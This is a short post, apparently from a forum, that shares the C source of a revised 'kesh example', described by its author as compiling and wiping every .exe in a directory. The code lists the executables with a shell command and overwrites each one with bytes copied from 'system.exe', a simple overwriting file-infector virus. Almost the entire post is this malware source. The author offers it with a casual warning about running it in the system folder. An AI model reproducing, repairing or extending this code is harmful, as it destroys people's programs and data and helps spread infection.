| Well, after a few hours I came up with the following revision of the kesh example (it did not compile - this compiles)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <conio.h>
FILE *list,*virus,*host;
char buff[2048];
int done;
char file_name[2048];
int x = 103974;
int main(void){
list = fopen("temp.txt","rb");
if(list == NULL)
{
system ( " dir /b *.exe > temp.txt " );
}
fclose(list);
list = fopen("temp.txt","r");
if(list == NULL)
{
printf("No .exe to infect");
} else
{
while(fgets(file_name,2048,list) != NULL)
{
file_name[strlen(file_name) - 1] = '\0';
virus = fopen("system.exe","rb");
host = fopen(file_name,"rb+");
if(host == NULL)
{
printf("No Host\n");
goto next;
} else if (file_name != "system.exe")
{
printf("Host %s\n",file_name);
while(x>2048)
{
printf("writing\n");
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
}
fclose(virus);
fclose(host);
}
}
next:
fclose(list);
}
All it does is wipe all the .exes in a directory and is contained to one directory. So, if you compile this program and run it inside the system folder you're pretty much fucking your self over big time... |